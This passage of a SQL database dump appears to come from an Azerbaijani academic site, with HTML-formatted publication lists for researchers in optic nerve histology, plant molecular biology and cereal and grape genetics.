9952-8090-9-3, 83 pp.</div><div style=\"background:undefined\">Gasimov EK, Sultanova TA, Orujov MT. (2007). Histology. Color and learn. Tutorial for medical students, 340 pp.</div><div style=\"background:undefined\">&nbsp;</div><div style=\"background:undefined\"><strong>Dissertation (Thesis) and Rationalization proposals</strong></div><div style=\"background:undefined\">Bagirov MZ, Gasimov EK, Orujov MT. (2003). Fixing desk for blockkeeper during the grinding of blocks for electron microscopy. Rationalization proposal Certified by Azerbaijan Medical University, No 453, Baku, Azerbaijan.</div><div style=\"background:undefined\">Gasimov EK, Bagirov MZ, Orujov MT. (2003). New and cheaper plant for obtaining of glass knifes for the electron microscopy. Rationalization proposal Certified by Azerbaijan Medical University, No 454, Baku, Azerbaijan.</div><div style=\"background:undefined\">Orujov MT. (2004). Histotopographical and ultrastructural peculiarities of organization of the meningeal, vascular and neural elements along the optic nerve. The abstract of a dissertation on competition a scientific degree of candidate of medical sciences, 20 pp, Baku, Azerbaijan.</div><div style=\"background:undefined\">Orujov MT. (2004). Histotopographical and ultrastructural peculiarities of organization of the meningeal, vascular and neural elements along the optic nerve. The dissertation on competition a scientific degree of candidate of medical sciences, 225 pp, Baku, Azerbaijan.</div></div><div><br></div><br></div>'),(824,562,'en','Mushfig Orujov','Mushfig Orujov','<div><br></div><div><p><strong><span style=\"font-size:medium\">Journal\r\n- Research Articles</span></strong></p><p>Orujov MT, Gasimov EK,\r\nAkbarov ECh. (2007). Ultrastructural and morphometrical features of intraocular\r\npart of white rat optic nerve. Azerbaijan Medical Journal, 4:141-143. ISSN:\r\n0005-2523, Azerbaijan.</p>\r\n<p>Gasimov EK, Orujov MT. The\r\nultrastructural organization of arachnoid of the white rat optic nerve. (2006).\r\nAzerbaijan Medical Journal, 2:99-102, ISSN: 0005-2523, Azerbaijan.</p>\r\n<p>Gasimov EK., Akbarov ECh,\r\nOrujov MT, Bagirov MZ. (2003). Histotopographical interrelations and structural\r\nfeatures of elements of dura mater and arachnoid. Medical Journal\r\n\"Health\", 5:43-47, Azerbaijan.</p>\r\n<p>Gasimov EK, Nadzhafova TM,\r\nOrujov MT, Bagirov MZ. (2003). About the mechanism of occurrence of an\r\nendoneural edema at influence of histamine. Azerbaijan Medical Journal,\r\n2-3:31-37, ISSN: 0005-2523, Azerbaijan.</p>\r\n<p>Orujov MT. (2001). Sources\r\nand histotopographic characteristics of blood vessels in various parts of the\r\noptic nerve (review). Medical Journal \"Health\", 7:67-71, Azerbaijan.</p>\r\n<p>Gasimov EK, Orujov MT. (2001).\r\nInterrelation of structural elements of sheaths, nerve fibers and blood vessels\r\nin the field of subarachnoidal angle of the white rat optic nerve. Medical\r\nJournal \"Vita\", 3-4:16-22, Azerbaijan.</p>\r\n<p>Orujov MT, Gasimov EK.\r\n(2001). Histotopographical relations of sheaths, vessels and nerve fibers in\r\nthe intraorbital part of the white rat optic nerve. Azerbaijan Medical Journal,\r\n3:25-30, ISSN: 0005-2523, Azerbaijan.</p>\r\n<p>Gasimov EK, Orujov MT.\r\n(2001). Ultrastructural changes of elements of walls of the epi- and endoneural\r\nmicrovessels at hypervolemic edema in white rat. Journal of Experimental and\r\nClinical Medicine, 4:39-40, Tbilisi, Georgia.</p>\r\n<div>&nbsp;</div>\r\n<p><strong><span style=\"font-size:medium\">Conference\r\nContribution - Published proceedings: Abstract</span></strong></p><p>Gasanov AB, Gasanov RP,\r\nMusayev JS, Orujov MT. (2016). Pathomorphological features of adrenal glands\r\nduring the chronically cannabinoid narcomania. Scientific collector dedicated\r\nto the 90-years anniversary of the Department of Public Health and Public\r\nHealth Services Organization of Azerbaijan Medical University, 4:129-134, Baku.\r\nAzerbaijan.</p>\r\n<p>Orujov MT. (2014). Features\r\nof vascular system of the intracranial part of white rat optic nerve. Materials\r\nof the Scientific Conference dedicated to the 95th Anniversary of the\r\nDepartment of Human Anatomy of Azerbaijan Medical University, p.253-257, Baku,\r\nAzerbaijan.</p>\r\n<p>Orujov MT. (2014). The\r\nultrasrtuctural and morphometrical characteristics of the intraocular part of\r\nwhite rat optic nerve. Abstracts of the 18th Congress of the International\r\nFederation of Associations of Anatomists (IFAA 2014-2-007). Anatomy from gross\r\nto molecular and digital. Published in: Ann. Anat. 196(S1):61, ISSN 0940-96021,\r\nBeijing, China.</p>\r\n<p>Orujov MT. (2013). Age\r\nchanges of meningeal-neural relations of the human optic nerve. Materials of\r\nthe Scientific Conference dedicated to the 70th Anniversary of the Professor\r\nB.M.Ashurov, p.290, Baku, Azerbaijan.</p>\r\n<p>Orujov MT. (2012).\r\nMorpho-functional features of subarachnoidal angle of the white rat optic\r\nnerve. Materials of the XI Conference of International Morphologists Association.\r\nSamara, Russia. Published in: Scientific Theoretical Medical Journal\r\nMorphology, ISSN: 0004-1947, 141(3):119, Russia.</p>\r\n<p>Orujov MT, Buniatzade EJ,\r\nShahmamedova AI, Tahirova SN, Quliyev MI. (2010). Histotopography and\r\nultrastructural organization of sclera. Materials of the International\r\nScientific Conference dedicated to the 80th Anniversary of the Azerbaijan\r\nMedical University. p.475-476, Baku, Azerbaijan.</p>\r\n<p>Orujov MT, Gasimov EK.\r\n(2008). Morpho-functional characteristics of fibrillary astrocytes of white rat\r\noptic nerve. Materials of the Scientific Conference dedicated to the 75th\r\nAnniversary of the Professor R.A.Askerov, p.183-187, Baku, Azerbaijan.</p>\r\n<p>Gasimov EK, Orujov MT.\r\n(2008). Anisotropy in amount of blood vessels on course of the optic nerve. Materials\r\nof the IX Conference of International Morphologists Association. Uzbekistan,\r\nBukhara. Published in: Scientific Theoretical Medical Journal Morphology, ISSN:\r\n0004-1947, 133(2):30-31, Russia.</p>\r\n<p>Orujov MT, Gasimov EK,\r\nAkbarov ECh. (2006). Histotopography and ultrastructure of vessels of the\r\nintraocular part of optic nerve. Materials of the International Scientific\r\nConference dedicated to the 100th Anniversary of the Professor\r\nK.A.Balakishiyev, p.332-335, Baku, Azerbaijan.</p>\r\n<p>Orujov MT, Gasimov EK.\r\n(2004). Histotopographical and ultrastructural features of structure of the\r\nlaminar part of white rat optic nerve. Materials of the International\r\nScientific Conference dedicated to the 80th Anniversary of the Professor\r\nM.S.Abdullayev. p.314-319, Baku, Azerbaijan.</p>\r\n<p>Gasimov EK, Orujov MT,\r\nBagirov MZ. (2003). Histotopography and ultrastructural features of structure\r\nof sheath and peripheral glial elements in intracranial part of the optic\r\nnerve. Materials of the Scientific Conference dedicated to the 80th Anniversary\r\nof the Professor Z.M.Salayeva. p.54-56, Baku, Azerbaijan.</p>\r\n<p>Orujov MT, Gasimov EK,\r\nNajafova TM, Bagirov MZ. (2003). Histotopography and ultrastructural features\r\nof structure of the arteries participating in blood supply of intracranial part\r\nof the optic nerve. Materials of the Scientific Conference dedicated to the\r\n80th Anniversary of the Professor Z.M.Salayeva. p.151-153, Baku, Azerbaijan.</p>\r\n<p>Orujov MT. (2002).\r\nMyeloarchitectonics and neuroglial interrelations in trunk of an orbital part\r\nof the white rat optic nerve. Materials of the VIII Republican Conference of\r\nPost-graduate Students and Young Researchers, p.52-53, Baku. Azerbaijan.</p>\r\n<p>Orujov M.T. (2001).\r\nIntratrunkial structure of an intracranial part of the white rat optic nerve.\r\nMaterials of the IV Congress of Allergologists and Immunologists of the CIS.\r\nPublished in: Journal Allergology and Immunology, ISSN 1562-3637, 2(2):134,\r\nMoscow, Russia.</p>\r\n<p>Orujov MT. (2001).\r\nComposition of microvessels localized in initial part of the optic nerve.\r\nMaterials of the Scientific Conference dedicated to the 70th Anniversary of the\r\nProfessor T.A.Aliyev. p.96-97, Baku, Azerbaijan.</p>\r\n<p>Gasimov EK, Orujov MT.\r\n(2000). The structural bases of the mechanism of maintenance of high\r\nhydrostatic pressure in endoneurial space of peripheral nerves. Materials of\r\nthe Scientific Conference dedicated to the 70th Anniversary of Azerbaijan\r\nMedical University. p.135, Baku, Azerbaijan.</p>\r\n<p>Gasimov EK, Akbarov EK,\r\nOrujov MT. (2000). Permeability peculiarities of vascular and sheath\r\nderivatives localized in initial parts of peripheral nerves. Materials of the\r\nScientific Conference dedicated to the 80th Anniversary of the Morphological\r\nDepartments of Azerbaijan Medical University, p.81-83, Baku, Azerbaijan.</p>\r\n<div>&nbsp;</div>\r\n<p><strong><span style=\"font-size:medium\">Tutorials\r\nand Handbooks</span></strong></p><p>Akbarov EK, Orujov MT.\r\n(2007). Clinical anatomy of the cranial nerves. Tutorial, ISBN 10\r\n9952-8090-9-3, 83 pp.</p>\r\n<p>Gasimov EK, Sultanova TA,\r\nOrujov MT. (2007). Histology. Color and learn. Tutorial for medical students,\r\n340 pp.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>Dissertation\r\n(Thesis) and Rationalization proposals</strong></p><p>Bagirov MZ, Gasimov EK,\r\nOrujov MT. (2003). Fixing desk for blockkeeper during the grinding of blocks\r\nfor electron microscopy. Rationalization proposal Certified by Azerbaijan\r\nMedical University, No 453, Baku, Azerbaijan.</p>\r\n<p>Gasimov EK, Bagirov MZ,\r\nOrujov MT. (2003). New and cheaper plant for obtaining of glass knifes for the\r\nelectron microscopy. Rationalization proposal Certified by Azerbaijan Medical\r\nUniversity, No 454, Baku, Azerbaijan.</p>\r\n<p>Orujov MT. (2004).\r\nHistotopographical and ultrastructural peculiarities of organization of the\r\nmeningeal, vascular and neural elements along the optic nerve. The abstract of\r\na dissertation on competition a scientific degree of candidate of medical\r\nsciences, 20 pp, Baku, Azerbaijan.</p>\r\n<p>Orujov MT. (2004).\r\nHistotopographical and ultrastructural peculiarities of organization of the\r\nmeningeal, vascular and neural elements along the optic nerve. The dissertation\r\non competition a scientific degree of candidate of medical sciences, 225 pp,\r\nBaku, Azerbaijan.</p>  <br></div>'),(1966,1201,'az','Huseyn Jafarov  ','Huseyn Jafarov  ','<div><br></div><div><p>1. Jafarov H.R., Gasimov K.G. (2016). The expression profiles of ERF5 and WRKY33 transcription factors in tomato plant (Solanium Lycopersicum L). IV International Scientific Conference of Young Researches, 262, 1st book, www.yric.az &nbsp;&nbsp;</p><p>2. Gasimov K.G., Alakbarova G.A., Jafarov H.R. (2015). Tissue specific expression of SIERF5 and SIWRKY33 transcription factors in tomato plant (Solanium Lycopersicum L). Scientific Papers of Botany Institute, vol. XXXV, pp. 161-166.&nbsp;</p>  <br></div>'),(1967,1201,'en','Huseyn Jafarov  ','Huseyn Jafarov  ','<div><br></div><div><p>1.&nbsp;&nbsp;\r\nJafarov\r\nH.R.,\r\nGasimov K.G. (2016). The expression profiles of ERF5 and WRKY33 transcription\r\nfactors in tomato plant (Solanium Lycopersicum L). IV International Scientific\r\nConference of Young Researches, 262, 1<sup>st</sup> book, <a href=\"http://www.yric.az/\">www.yric.az</a></p>\r\n<p>2.&nbsp;&nbsp;\r\nGasimov K.G., Alakbarova G.A., Jafarov H.R. (2015). Tissue specific\r\nexpression of SIERF5 and SIWRKY33 transcription factors in tomato plant\r\n(Solanium Lycopersicum L). Scientific Papers of Botany Institute, vol. XXXV,\r\npp. 161-166.</p>  <br></div>'),(1968,1202,'en','Javid Ocaghi ','Javid Ocaghi ','<p><br></p><p>1.\r\nS.J.Salayeva, <strong>J.М.Ojaghi</strong>, А.N.Pashayeva, V.I.Izzatullayevа,\r\nE.M.Akhundova and Z.I.Akperov. <strong>2015</strong>. GENETIC DIVERSITY OF VITIS VINIFERA\r\nL. IN AZERBAIJAN. Russian Journal of Genetics (Springer). In press.</p>\r\n<p>2.\r\nMursalova J.M., Akparov Z.I., Sharifova S.S., <strong>Ojaghi J.M</strong>., Eldarov M.E.,\r\nMorgounov A.I., Trojanowska M.R. <strong>2015</strong>. Investigation of genetic\r\ndiversity of wheat genotypes (<em>Triticum aestivum </em>L.) using microsatellite\r\nmarkers. The Reports of National Academy of Sciences of Azerbaijan, vol LXXI,\r\nNo 2, 87-92. </p>\r\n<p>3.\r\nG.A. Shikhseyidova., R.A. Quliyev., <strong>J.M. Ojaghi</strong>., S.J. Salayeva., E.M.\r\nAkhundova. <strong>2015</strong>. Investigation of phylogeny between durum wheat\r\naccessions from different origins by molecular markers. Natural Sciences, News\r\nof Baku University. No 1, 42-51. </p>\r\n<p>4.\r\nGulnar Shikhseyidova, Ellada Akhundova, Rauf Quliyev, Roham Eshghi, Samira\r\nSalayeva and <strong>Javid Ojaghi</strong>. <strong>2015</strong>. Assessment of genetic diversity\r\nin durum wheat using microsatellite markers. MITTEILUNGEN KLOSTERNEUBURG,\r\n65(7): 58-68. </p>\r\n<p>5.\r\nGulnar Shikhseyidova, Ellada Akhundova, Rauf Quliyev, Roham Eshghi, Samira\r\nSalayeva, <strong>Javid Ojaghi</strong>. <strong>2015</strong>. Molecular Diversity and Genetic\r\nStructure of Durum Wheat Landraces. Albanian j. agric. sci. 14 (2): 112-120 </p>\r\n<p>6.\r\nJamala Mursalova, Zeynal Akparov, <strong>Javid Ojaghi</strong>, Mahammad Eldarov, Savaş\r\nBelen, Nurberdi Gummadov, Alexey Morgounov. <strong>2015</strong>. Evaluation of drought\r\ntolerance of winter bread wheat genotypes under drip irrigation and rain-fed\r\nconditions. <em>Turkish Journal of Agriculture and Forestry</em>. 39: 1-8 </p>\r\n<p>7.\r\nA.Abdi Ghazijahani, A.Y.Karimov, <strong>J.M.Ojaghi. 2015</strong>. Cluster analysis of <em>Agropyron\r\ntauri </em>population origin of Iran. Azerbaijan Academy of Sciences Genetic\r\nResources Institute, Science Workers, Vol V, 34-38. </p>\r\n<p>8.\r\nS.V.Saidova, E.s.Hajiyev, J.M.Ojaghi, M.A.Abbasov. 2015. Evaluation of winter wheat\r\n(T.aestivum L.) accessions based on morphological traits. Azerbaijan Academy of\r\nSciences Genetic Resources Institute, Science Workers, Vol V, 142-146.</p>\r\n<p>9.\r\nVusala Izzatullayeva, Zeynal Akparov, Sevda Babayeva, Javid Ojaghi and Mehraj\r\nAbbasov. 2014. Efficiency of using RAPD and ISSR markers in evaluation of\r\ngenetic diversity in sugar beet. Turkish Journal of Biology. 38: 429-438.</p>\r\n<p>10.\r\nS. Sadigova, H. Sadigov, R. Eshghi, S. Salayeva and J. Ojaghi. 2014.\r\nApplication of RAPD and ISSR markers to analyses molecular relationships in\r\nAzerbaijan wheat accessions (Triticum aestivum L.). Bulgarian Journal of\r\nAgricultural Science, 20 (№ 1) 2014, 97-105.</p>\r\n<p>11.\r\nSaida Hasanova, Alamdar Mammadov, Javid Ojaghi, Amirov. 2014. Study of the\r\ngenetic diversity of chickpea genotypes (Cicer arietinum L.) using RAPD\r\nmarkers. Russian grain farming journal, № 3.</p>\r\n<p>12.\r\nAbdi Ghazijahani A., Aminov N., Karimov A. Ojaghi J. 2014. Study heritability\r\nof morphological traits in Agropyron tauri genotypes. Azerbaijan Agriculture\r\nscientific-Research Institute Journal. 24: 101-105</p>\r\n<p>13.\r\nS. Nuriyeva, Z. Akparov, M. Abbasov, Kh. Rustamov, H.B. Sadigov, J. Ojaghi, F.\r\nSheykhzamanova, S. Rzaeva, R. Sharma. 2014. Evaluation of genetic diversity in\r\nbread wheat (T.aestivum L.) using ISSR markers. National Academy of Sciences of\r\nAzerbaijan News, Biological and Medical Sciences, Baku, №2 (69)-95-101.</p>\r\n<p>14.\r\nHasanova S., Mammadov A., Ojaghi J. 2013. Revealing relationship between main\r\nelements of productivity in chick-pea. Vestink of the Russian Academy of\r\nScience. 6: 26-28.</p>\r\n<p>15.\r\nSamira Jafar Salayeva, Javid Matlab Ojaghi, Roham Ahmadali Eshghi, Zeynal Iba\r\nAkparov. 2013. Morphological variation and relationships of Azerbaijan\r\ncultivated and wild grape populations. INTERNATIONAL CAUCASIAN FORESTRY\r\nSYMPOSIUM , full paper, 24-26 October, Artvin, Turkey.</p>\r\n<p>16.\r\nRoham Eshghi , Samira Salayeva , Farshad Ebrahimpour , Monireh Rahimi , Morteza\r\nBarayy, Javid Ojaghi. 2013. Advanced-backcross QTL analysis in hulless barley:\r\nI. Detection of exotic alleles for yield and yield components introgressed from\r\nHordeum vulgare ssp. Spontaneum. International Journal of Agriculture and Crop\r\nSciences. 5-2, 95-100.</p>\r\n<p>17.\r\nHasanova S., Ojaghi J., L.Amirov., Mammadov A. 2013. Assessment of genetic\r\ndiversity in chick-pea genotypes by ISSR and RAPD markers. National Academy of\r\nSciences of Azerbaijan News, Baku, №2(68)-.37-43.</p>\r\n<p>18.\r\nAybeniz Aliyeva, Javid Ojaghi, Sabine Mehdiyeva. 2012. Electrophoretic Profiles\r\nof Gliadin Subunits to Evaluate Genetic Diversity of Azerbaijan Synthetic\r\nBranched Spike Wheat Accessions. American-Eurasian journal of agricultural and\r\nenvironmental sciences. 12(10): 1343-1349</p>\r\n<p>19.\r\nRoham Eshghi, Farshad Abrahimpour, Javid Ojaghi, Samira Salayeva, Morteza\r\nBaraty1, Monireh Rahimi. 2012. Evaluation of genetic variability in naked barley\r\n(Hordeum vulgare L.). International Journal of Agriculture and Crop Sciences.\r\n4-16, 1166-1179.</p>\r\n<p>20.\r\nEshghi, R., Ebrahimpour F., Ojaghi, J., Salayeva, S., Sadigov H., Akhundova E.,\r\nBaraty, M., Rahimi, M. 2012. Genetic structure and geographical differentiation\r\nin barley landraces based on storage proteins. International Journal of\r\nAgriculture and Crop Sciences. 4-14, 960-970.</p>\r\n<p>21.\r\nSalayeva S, Ojaghi J, Sadigova S. 2012. The determining of genetic distance\r\nbetween wheat genotypes on the bases of technological traits of seed.\r\nAzerbaijan Academy of Sciences Genetic Resources Institute, Science Workers,\r\nVol IV, 44-47.</p>\r\n<p>22.\r\nEshghi, R., Salayeva, S., Rahimi, M., Baraty, M., Ojaghi, J. 2011. Genetic\r\nAnalysis of (1→3), (1→4)-β-D-glucans in Barley, Azhul × Falcon Cross. World\r\nApplied Sciences Journal.14 (8) 1146-1153.</p>\r\n<p>23.\r\nEshghi, R., Ojaghi, J., Salayeva, S. 2011. Genetic gain through selection\r\nindices in hulless barley. International Journal of Agriculture &amp; Biology.\r\n13: 191-197.</p>\r\n<p>24.\r\nOjaghi, J., Salayeva, S., Eshghi, R. 2010. Inheritance pattern of important\r\nquantitative traits in bread wheat (Triticum aestivum L.). World Applied\r\nSciences Journal. 11: 711-717.</p>\r\n<p>25.\r\nOjaghi, J., Akhundova, E. 2010. Genetic diversity of gliadin pattern,\r\nmorphological traits and baking quality in doubled haploid wheat. African\r\nJournal of Biotechnology. 9: 956-966.</p>\r\n<p>26.\r\nOjaghi, J., Akhundova, E. 2010. Genetic analysis for yield and its components\r\nin doubled haploid wheat. African Journal of Agricultural Research. 5: 306-315.</p>\r\n<p>27.\r\nOjaghi, J., Akhundova, E. 2010. Genetic effects for grain yield and its related\r\ntraits in doubled haploid lines of wheat. International Journal of Agriculture\r\n&amp; Biology. 12: 86-90.</p>\r\n<p>28.\r\nOjaghi, J., Akhundova, E. 2010. Genetic diversity in doubled haploids wheat\r\nbased on morphological traits, gliadin protein patterns and RAPD markers.\r\nAfrican Journal of Agricultural Research. 5: 1701-1712.</p>\r\n<p>29.\r\nMohammad Zaefizadeh, Shahzad Jamaati‑e‑Somarin, Javid Ojaghi, Seyed Mehdi Seyedi, Roghayyeh\r\nZabihi‑e‑Mahmoodabad and Mehran Ochi. 2010. Genetic diversity for\r\ngliadin patterns of durum wheat landraces in the Northwest of Iran and\r\nAzerbaijan. Pesq. agropec. bras. Brasília, v.45 (12):1425-1432</p>\r\n<p>30.\r\nOjaghi, J., Akhundova, E. 2010. Genetic diversity in doubled haploid wheat\r\naccording to the acid-PAGE method, morphological traits, and baking quality.\r\nTurkish Journal of Biology. 34: 343-353.</p>\r\n<p>31.\r\nEshghi, R., Ojaghi, J., Rahimi, M., Salayeva, S. 2010. Genetic characteristics\r\nof grain yield and its components in barley (Hordeum vulgare L.) under normal\r\nand drought conditions. American-Eurasian journal of agricultural and\r\nenvironmental sciences. 9: 519-528.</p>\r\n<p>32.\r\nEshghi, R., Ojaghi, J., Baraty, M., Rahimi, M., Salayeva, S. QTL mapping for\r\nbeta-glucan content in barley (Hordeum vulgare L.). In press.</p>\r\n<p>33.\r\nEshghi, R., Ojaghi, J., Baraty, M., Rahimi, M., Salayeva, S. QTL mapping for\r\nyield and its components in barley (Hordeum vulgare L.). In press.</p>\r\n<p>34.\r\nAkhundova E, Ojaghi J, Rafiyeva G., Salayeva S., Mustafayeva A. 2012.\r\nEvaluation of genetic diversity of rye accessions according to the\r\nbiomorphological traits. Transactions of Botanical Institute Azerbaijan\r\nNational Academy of Sciences, vol (32), 321-326.</p>\r\n<p>35.\r\nAkhundova E.M., Rafiyeva G.K., Mustafayeva A.E., Ojaghi J.M., Salayeva S.J.\r\n2012. The studying of quantitative traits valuable for selection on local rye\r\nvarieties by the statistical analysis. Intoduction of nonconventional and rare\r\nplants, vol. 2, 36-45.</p>\r\n<p>36.\r\nSadigova S.B., Sadigov H.B., Salayeva S.J., Ojaghi, J.M., Eshghi R.A. 2012. The\r\nevaluation of polymorphism on wheat (Triticum aestivum L.) varieties of\r\nAzerbaijan by using ISSR markers. National Academy of Sciences of Azerbaijan\r\nNews, volume 67, 100-106.</p>\r\n<p>37.\r\nOjaghi, J., Akhundova, E. 2010. Genetic variability evaluation in doubled\r\nhaploids wheat. Scientific news of Institute of Botany. Vol 30, Baku, 363-370.</p>\r\n<p>38.\r\nSalayeva, S., Akhundova, E., Mammadov, A., Ojaghi, J. 2010. Assessment of\r\ngenetic diversity between cultivated and wild grape accessions originating from\r\nthe Near-Caspian Zone of Azerbaijan by SSR markers. National Academy of\r\nSciences of Azerbaijan News, volume 65, 116-122.</p>\r\n<p>39.\r\nOjaghi, J., Akhundova, E. 2009. Assessment of genetic diversity in doubled\r\nhaploids wheat based on gliadin patterns and RAPD markers. SJYR Transaction on\r\nAgri Science.6: 19-27.</p>\r\n<p>40.\r\nOjaghi, J., Akhundova, E., Sadigov, H., Salayeva, S., Karimov, A. 2009.\r\nStudying yield and yield components in doubled haploid wheat by morphological\r\nmarkers. Journal of Genetic Resources Institute of ANAS. Vol I, Baku, 63-71.</p>\r\n<p>41.\r\nOjaghi, J. 2009. Inheritance of number of tillers traits in doubled haploid\r\nwheat lines by diallel method. Scientific news of Institute of Botany.volume\r\nXXIX, Baku, 863-870.</p>\r\n<p>42.\r\nOjaghi, J., Akhundova, E., Sadigov, H., Sadigova, S., Karimov, A., Salayeva, S.\r\n2009. Studying gliadin diversity in doubled haploid wheat by A-PAGE method and\r\nrelationships with morphological traits. Baku State University News, 2: 67-75.</p>\r\n<p>43.\r\nOjaghi, J. 2008. Analysis of morphological traits in doubled haploid wheat by\r\nmultiple statistical methods. Materials of Young Scientifics. 1: 229-239.</p>\r\n<div>&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<p><strong>International Conference</strong></p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p>1.\r\nOjaghi Javid. 2015. Determining the level of genetic variation using SSR\r\nmarkers in durum wheat population. First International and 9th National\r\nBiotechnology Congress, 24th to 26th May, 2015, Tehran, Iran (Shahid Beheshti\r\nUniversity)</p>\r\n<p>2.\r\nOjaghi J.M., Salayeva S.J. 2015. Molecular analysis of genetic variability of\r\nAzerbaijan local barley accessions. The Materials of the 5th International\r\nScientific Conference on “Innovation Problems of Modern Biology” for Young\r\nScientists and Researchers devoted to 92st anniversary of the great son and\r\nNational Leader of Azerbaijan people Heydar Aliyev (April 24-25), Baku,\r\nAzerbaijan.</p>\r\n<p>3.\r\nFarhadova S.J., Salayeva S.J., Ojaghi J.M. 2015. Investigation of genetic\r\ndiversity of Azerbaijan wild and cultivation almond population. The Materials\r\nof the 5th International Scientific Conference on “Innovation Problems of\r\nModern Biology” for Young Scientists and Researchers devoted to 92st\r\nanniversary of the great son and National Leader of Azerbaijan people Heydar\r\nAliyev (April 24-25), Baku, Azerbaijan.</p>\r\n<p>4.\r\nPashayeva Aynur, Salayeva Samira, Ojaghi Javid. 2015. The study genetic\r\ndiversity of Azerbaijan grapevine populations based on ISSR markers. The\r\nMaterials of the 5th International Scientific Conference on “Innovation\r\nProblems of Modern Biology” for Young Scientists and Researchers devoted to\r\n92st anniversary of the great son and National Leader of Azerbaijan people\r\nHeydar Aliyev (April 24-25), Baku, Azerbaijan.</p>\r\n<p>5.\r\nPashayeva Aynur, Salayeva Samira, Ojaghi Javid. 2015. Studying phylogenetic\r\nrelationships among grapevine populations in different regions of Azerbaijan.\r\nIII International Scientific Conference of Young Researchs, Qafqaz Uviversity,\r\n17-18, April 2015, Baku, Azerbaijan</p>\r\n<p>6.\r\nPashayeva Aynur, Salayeva Samira, Ojaghi Javid. 2014. Molecular genetic\r\nscreening of Azerbaijan cultivated and wild grapevine accessions by ISSR\r\nmarkers. Prospects for the development of experimental biology, Baku State\r\nUniversity, 19-20 December, 2014, Baku, Azerbaijan.</p>\r\n<p>7.\r\nJavid Ojaghi, Roham Eshghi, Zeynal Akparov. 2013. Detection of polymorphism\r\namong naked barley using agro-morphological, hordein, RAPD and ISSR markers.\r\nInternational Plant Breeding Congress, 10-14 November 2013 Antalya, Turkey.</p>\r\n<p>8.\r\nJamala Mursalova, Zeynal Akparov, Javid Ojaghi, Savas Belen, Nurbedry Gummadov,\r\nAlexey Morgounov. 2013. Determination of stay green with NDVI (Normalized\r\nDifference Vegetation Index) in the winter wheat genotypes under stress\r\nconditions. International Plant Breeding Congress, 10-14 November 2013 Antalya,\r\nTurkey.</p>\r\n<p>9.\r\nGulnar Shikhseyidova, Ellada Akhundova, Javid Ojaghi, Roham Eshghi. 2013.\r\nGenetic structure of durum wheat populations by ISSR markers. International\r\nPlant Breeding Congress, 10-14 November 2013 Antalya, Turkey.</p>\r\n<p>10.\r\nJavid Ojaghi, Ellada Akhundova, Nargiz Garaybayova, Roham Eshghi, Samira\r\nSalayeva. 2013. Analysis of QTLs for yield and yield components in an advanced\r\nbackcross population of hulless barley. I International Scientific Conference\r\nof Young Research, Qafqaz University, Baku, 26-27 April.</p>\r\n<p>11.\r\nCamala Mursalova, Zeynal Akbarov, Javid Ojaghi, Alexey Morgounov. 2013. Study\r\nof genetic diversity in bread wheat (Triticum aestivum L.) accessions in normal\r\nand drought conditions by multivariate statistic methods. I International\r\nScientific Conference of Young Research, Qafqaz University, Baku, 26-27 April.</p>\r\n<p>12.\r\nSaide Hasanova, Javid Ojaghi, Alamdar Mammadov. 2013. Molecular\r\ncharacterization of Azerbaijan chickpea (Cicer arietinum L.) varieties. I\r\nInternational Scientific Conference of Young Research, Qafqaz University, Baku,\r\n26-27 April.</p>\r\n<p>13.\r\nVusala Izzatullayeva, Javid Ojaghi. 2013. Study of genetic similarity in sugar\r\nbeet genotypes by cluster analysis. Conference about “Actual problems of\r\necology and soil sciences in the XXI century” Baku State University,\r\nAzerbaijan.</p>\r\n<p>14.\r\nSaide Hasanova, Alamdar Mammadov, Javid Ojaghi. 2013. Characterization of yield\r\ncomponents in chickpea genotypes by statistical methods. Conference about\r\n“Actual problems of ecology and soil sciences in the XXI century” Baku State\r\nUniversity, Azerbaijan.</p>\r\n<p>15.\r\nAynur Pashayeva, Samira Salayeva, Javid Ojaghi. 2013. Analysis of gliadin\r\npolymorphism in bread wheat accessions. Innovation problems of modern biology,\r\n3th International Conference, Baku State University, Azerbaijan, 7-8 May.</p>\r\n<p>16.\r\nOjaghi J., Salayeva S., Eshghi R. 2012. Evaluation of wheat lines yield on farm\r\nconditions in dry lands. The materials of the international scientific\r\nconference on innovation problems of modern biology for young scientists\r\ndevoted to 110th anniversary of outstanding scientist, honored science worker,\r\nprof. M.A. Akhundov. Baku State University, 25-26 May, 136.</p>\r\n<p>17.\r\nSalayeva, S., Ojaghi, J., Eshghi, R. 2011. Polymorphism in Azerbaijan wild and\r\ngrape accessions by microsatellite chloroplast markers. The materials of the\r\ninternational scientific conference on theoretical and practical aspects of\r\nmodern biology for young scientists. Baku.</p>\r\n<p>18.\r\nEshghi, R., Akhundova, E., Sadeghov, H., Salayeva, S., Ojaghi, J. 2010. Genetic\r\nvariation of naked barley (Hordeum vulgare L.) assessed by biochemical and\r\nmolecular markers. 2nd International Symposium on Genomics of Plant Genetics\r\nResources. Bologna, Italy, 180.</p>\r\n<p>19.\r\nOjaghi, J., Salayeva, S., Akhundova, E., Sadeghov, H., Eshghi, R. 2010. Genetic\r\ndistances revealed by morphological characters, storage proteins and RAPD\r\nmarkers in wheat doubled haploids. 2nd International Symposium on Genomics of\r\nPlant Genetics Resources. Bologna, Italy, 189.</p>\r\n<p>20.\r\nSalayeva, S., Decroocq, S., Akhundova, E., Eshghi,R., Ojaghi, J. 2010.\r\nAssessment of genetic diversity between local grapevine accessions and wild\r\nrelatives belonging to Near-Caspian zone of Azerbaijan by SSR markers. 2nd\r\nInternational Symposium on Genomics of Plant Genetics Resources. Bologna,\r\nItaly, 282.</p>\r\n<p>21.\r\nOjaghi, J., Akhundova, E. 2010. Genetic analysis of morphological traits in\r\ndoubled haploid wheat. Problems of Applied biology, Republic Scientific\r\nConference, Baku.</p>\r\n<p>22.\r\nOjaghi, J., Akhundova, E. 2009. Genetic diversity in doubled haploids wheat\r\nbased on morphological traits gliadin patterns and RAPD markers. International\r\nconference of Baku State University, Baku.</p>\r\n<p>23.\r\nZaeifizadeh, M., Quliyev, R., Sadigov, H., Ojaghi, J., Eshghi, R. 2008. Study\r\nof genetic diversity in durum wheat genotypes by gliadin storage proteins.\r\nModern Problems of Biology, Republic scientific conference, Baku.</p>\r\n<p>24.\r\nOjaghi, J., Akhundova, E., Sadigov, H., Sadigova, S., Karimov, A. 2008.\r\nAnalysis of genetic diversity in doubled haploid wheat lines by A-PAGE method.\r\nProblems of Biology, Republic scientific conference, Baku.</p>\r\n<p>Other\r\nconferences:</p>\r\n<p>25.\r\nJavid Ojaghi, Roham Eshghi, Stephane Decroocq, Samira Salayeva. 2011. 